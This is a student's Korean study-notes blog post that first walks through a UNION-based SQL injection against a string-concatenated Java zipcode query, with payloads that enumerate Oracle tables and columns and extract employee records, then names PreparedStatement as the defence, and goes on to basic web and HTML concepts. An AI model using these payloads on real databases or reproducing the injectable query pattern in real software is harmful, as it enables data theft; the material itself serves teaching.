쌍용교육센터에서 공부한 내용을 정리하며 기록하는 글이고 주관적인 생각이 들어갈 수 있습니다.
잘못된 내용이나 피드백 및 생각 공유는 언제든 환영입니다.
댓글로 남겨주시면 확인 후 수정하겠습니다.
내용에 대한 소스 코드는 https://github.com/2jaehoon/html에 올려두었습니다.
SQLInjection
- 쿼리문을 예측하여 나머지 쿼리문을 외부에서 작성하고, 입력하여 정보탈취 해킹 기법
* 우편 번호 검색
StringBuilder sql = new StringBuilder();
sql
.append("select zipcode,sido,gugun,dong,bunji")
.append("from zipcode")
.append("where dong like '").append( dong ).append("%'");
* 생성된 쿼리문
Select zipcode,sido,gugun,dong,bunji
from zipcode
where dong like '상도동%';
-- Union 사용하여 쿼리문을 붙여서 공격
-- Error : 컬럼의 개수가 맞지 않거나, 컬럼의 데이터형이 다를 때
* SQLInjection 공격 순서
0. DD 지식
- 테이블명을 검색 DD : tab
- 테이블에 존재하는 컬럼 정보 얻는 DD : user_tab_cols
1. 테이블정보를 얻기
Select zipcode,sido,gugun,dong,bunji
from zipcode
where dong like 'aaaa' union select tname,'0','0','0','0' from tab -- %';
/*
Injection이 되어 실행되면 모든 테이블명이 검색된다. => 정보가 있을 만한 테이블을 찾는다.
dept,0,0,0,0
emp,0,0,0,0
test_login ,0, 0, 0, 0
*/
2.정보가 있을 만한 테이블의 컬럼 정보를 얻기
Select zipcode,sido,gugun,dong,bunji
from zipcode
where dong like 'aaaa' union select column_name,'0','0','0','0'
from user_tab_cols where table_name='emp' -- %';
/*
Injection이 되어 실행되면 테이블의 컬럼명이 검색된다. => 탈취할 컬럼명을 얻기
emno,0,0,0,0
ename,0,0,0,0
sal,0,0,0,0
*/
3.정보가 있을 만한 테이블의 컬럼 정보를 얻기
Select zipcode,sido,gugun,dong,bunji
from zipcode
where dong like 'aaaa' union select empno,ename,sal||'0','0','0' from emp -- %';
/*
Injection이 되어 실행되면 탈취할 테이블의 레코드가 검색된다. => 정보탈취
1111,스캇,3000,0,0
1112,윤상준,3200,0,0
1113,’김사원’,2220, 0, 0
*/
* SQLInjection 방어코드
- 입력되는 데이터가 쿼리문을 가지지 않도록 변경. replaceAll( “찾을 문자열“,”치환할문자열” )
- PreparedStatement를 사용
Web( WWW : World Wide Web - W3 )
- 인터넷에서 문자, 그림, 그래픽, 소리, 영상( 멀티미디어 )등을 포함하는 문서를
Hyper Text 개념을 도입하여 편리하게 전송하고, 검색하는 서비스
인터넷 ( internetwork )
- Hyper Text를 사용하여 인터넷에 산재되어있는 정보를 검색할 수 있도록 해주는 프로그램
- 컴퓨터로 연결하여 TCP/IP 프로토콜을 이용해 정보를 주고받는 네트워크 ( 누리망 )
- 1973년에 TCP/IP를 정리한 빈트 서프, 밥 간이 네트워크와 네트워크를 하나의 통신망으로
연결하고자 하는 의도로 이름을 부여하였다.
용어
- Hyper Text : 문서안에 다른 문서로 연결할 수 있는 연결점을 가진 문서
- Hyper link : 문서간의 이동이나 한문서 내에서 이동할 대 사용하는 링크
- Hyper Media : 음성,영상, 동영상등 다양한 종류의 미디어를 연결 하는 것
- HTML( Hyper Text Mark Language ) : 웹에 하이퍼 미디어 문서를 작성하고,
사용자에게 보여주기 위한 언어.
- HTTP ( Hyper Text Transmission Protocol ) : 웹에서 웹 서버와 웹 클라이언트 간에 통신하기 위한 규약
- URL ( Uniform Resource Locator ) : 인터넷에 존재하는 여러 자원을 요청하는 주소체계
프로토콜://domain:PORT/요청할 자원의 이름
HTML( Hyper Text Markup Language )
- 웹에 하이퍼미디어 문서를 작성하고 표현하기 위한 표준 언어
- Compile하지 않고 Web Browser에서 그려서(Rendering) 보여주는 언어, 에러가 발생하지 않는 언어
- SGML언어를 기반하고 있는 언어
- Web Browser(IE, Chrome, Firefox, ...)에서만 사용된다.(브라우저의 다양성에 대한 문제 발생 => 웹표준)
IETF( Internet Engineering Task Force ) : 국제인터넷 표준화기구
- 1986년 미국정부에 후원을 받아 설립된 단체
- 1990년에 미국정부 후원을 종료하고 독자적인 연구 수행
- TCP/IP, 도메인명, 인터넷 주소체계등을 만들었다.
HTML 문서의 구조
1. 코드작성
<!DOCTYPE html> : 선언부
<html>
<head>
<meta charset=“사용할 charset”/>
<title>타이틀바에 들어갈 내용.</title>
</head>
<body>
사용자에게 보여줄 내용
</body>
</html>
2. 저장 : 파일명.html, 파일명.htm(권장하지 않음)
3. 실행 : web browser에서 URL로 호출하여 실행
http://localhost:80/폴더명/파일명.html
Web Server
- HTML를 저장하고 있다가, 웹 클라이언트에서 요청이 들어오면 HTML을 응답해주는 프로그램
- Apache HTTP Server => apache.org
Web Container
- Servlet/ JSP를 저장하고 있다가, 웹 클라이언트에서 요청이 들어오면 Servlet/JSP를
HTML로 변환한 후 응답해주는 프로그램
- Apache Tomcat => apache.org
- Web Server의 기능을 가진다.
WAS(Web Application Server)
- Java EE의 모든 Spec를 서비스할 수 있는 프로그램
- Middleware라고도 한다.
- Web logic, WebSphere, JBOSS, JEUS, ...
Eclipse에서 웹 개발에 사용되는 폴더 구조
HTML
- ML( Markup Language ) 본문에서 특정부분을 강조하여 보여줄 때 사용하는 언어
- tag언어
<로 시작하여 >로 끝나는 언어
<태그명 속성명=값 속성명=값 ...> 내용 </태그명>
- 태그는 대.소문자를 가리지 않는다.
- 연산의 기능이 없다.
- 닫힘 태그가 나오지 않아도 에러가 발생하지 않는다.
줄 변경 태그
- 웹 브라우저는 엔터 키(\n) 값(13)으로 줄 변경하지 않는다.
- <br> : 줄 변경 – 문장내에서 줄 변경하고 싶은 위치에 <br> 태그를 넣는다.
- <p> : 문단 – 문단을 구분할 때 사용
주석(Comment)
- HTML 태그를 Web Browser가 Rendering 하지 못하도록 막는 것
- 소스 보기를 하면 주석의 내용이 그대로 보인다.
- 주석은 중첩 사용할 수 없다.(주석 안에 주석을 넣어 사용할 수 없다.)
- 모든 Markup 언어는 주석이 같다.
<!-- 내용 -->
'성장 일기 > 쌍용교육센터' 카테고리의 다른 글
0213/이미지, table tag (0) | 2023.02.13 |
---|---|
0210/HTML tag (0) | 2023.02.12 |
0207/Procedure (0) | 2023.02.12 |
0206/ResultSetMetaData, CLOB (0) | 2023.02.08 |
0203/PreparedStatement (0) | 2023.02.08 |